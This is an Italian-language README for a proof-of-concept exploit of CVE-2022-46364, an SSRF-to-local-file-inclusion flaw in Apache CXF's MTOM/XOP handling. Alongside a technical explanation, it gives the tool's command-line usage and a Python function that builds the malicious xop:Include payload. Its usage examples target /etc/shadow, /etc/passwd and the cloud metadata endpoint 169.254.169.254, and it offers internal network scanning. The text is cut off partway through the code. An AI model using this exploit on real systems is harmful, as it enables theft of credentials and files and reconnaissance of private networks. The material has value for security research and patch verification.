
Questa vulnerabilità consente a un attaccante di eseguire attacchi SSRF (Server-Side Request Forgery) sui webservice Apache CXF che accettano richieste MTOM/XOP. Il problema risiede nel modo in cui viene analizzato l'attributo href di xop:Include, consentendo al server di richiedere URL arbitrari.
QUESTO STRUMENTO È SOLO PER TEST DI SICUREZZA EDUCATIVI E AUTORIZZATI
Questo exploit proof-of-concept è fornito a scopo educativo per aiutare i professionisti della sicurezza a comprendere la vulnerabilità e proteggere i propri sistemi. L'accesso non autorizzato ai sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento. È necessario ottenere l'esplicita autorizzazione scritta del proprietario del sistema prima di effettuare test. Utilizzando questo strumento, accetti di conformarti a tutte le leggi applicabili.
| Attributo | Valore |
|---|---|
| ID CVE | CVE-2022-46364 |
| ID GHSA | GHSA-x3x3-qwjq-8gj4 |
| Tipo di vulnerabilità | Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI) |
| Software interessato | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| Gravità | Critico |
| Punteggio CVSS | 9.8 (Critico) |
| Vettore di attacco | Rete |
| Autenticazione | Non richiesta |
| Versioni corrette | Apache CXF 3.5.5+, 3.4.10+ |
Questo exploit sfrutta una vulnerabilità SSRF critica nell'implementazione MTOM (Message Transmission Optimization Mechanism) di Apache CXF per ottenere Local File Inclusion (LFI) e capacità di scansione della rete interna.
Apache CXF valida in modo errato l'attributo href all'interno degli elementi xop:Include quando elabora messaggi SOAP codificati in MTOM. La libreria utilizza URLConnection di Java per dereferenziare l'URI senza adeguate restrizioni sui protocolli, consentendo agli attaccanti di specificare:
file:// - Leggere file locali (LFI)http:// / https:// - Richieste alla rete interna (SSRF)ftp:// - Richieste FTP (potenziale per ulteriori exploit)Questa vulnerabilità è particolarmente pericolosa perché:
Qualsiasi distribuzione Apache CXF che:
MTOM (Message Transmission Optimization Mechanism) è uno standard W3C per ottimizzare la trasmissione di dati binari nei messaggi SOAP. Utilizza XOP (XML-binary Optimized Packaging) per includere riferimenti a dati binari:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
Normalmente, href contiene un riferimento CID (Content-ID) a una parte MIME. Tuttavia, la classe AttachmentUtil di Apache CXF elabora i valori href come URI generici senza una corretta sanificazione.
Parsing della Richiesta:
Content-Type: application/xop+xmlAttachmentUtil.getAttachmentObject() elabora gli elementi xop:IncludeDereferenziazione URI:
new URL(href).openStream()file://Incorporazione nella Risposta:
// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // No protocol validation!
return new DataHandler(url.openStream());
}
Il protocollo file:// segue lo stesso percorso del codice:
file:///etc/passwd → Java apre /etc/passwd come flusso di fileIterando tra IP e porte, gli attaccanti possono:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help Show this help message and exit
-t TARGET, --target TARGET
Target base URL (e.g., http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web service endpoint path (default: /services/Service)
-u URL, --url URL External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)
| Argomento | Descrizione | Esempio |
|---|---|---|
-t, --target | Obbligatorio. URL di base del servizio Apache CXF target | http://10.10.10.50:8080 |
-e, --endpoint | Opzionale. Percorso dell'endpoint SOAP | /services/UserManagement |
-u, --url | URL HTTP/HTTPS da recuperare tramite SSRF | http://169.254.169.254/latest/user-data |
-f, --file | Percorso del file locale da leggere tramite LFI | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 or higher required
python --version
# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### requirements
requests>=2.28.0 urllib3>=1.26.0
---
### Dettagli di Implementazione Principali
#### 1. Costruzione del Payload MTOM
```python
def create_mtom_payload(uri):
"""Create a multipart/related MTOM message with xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part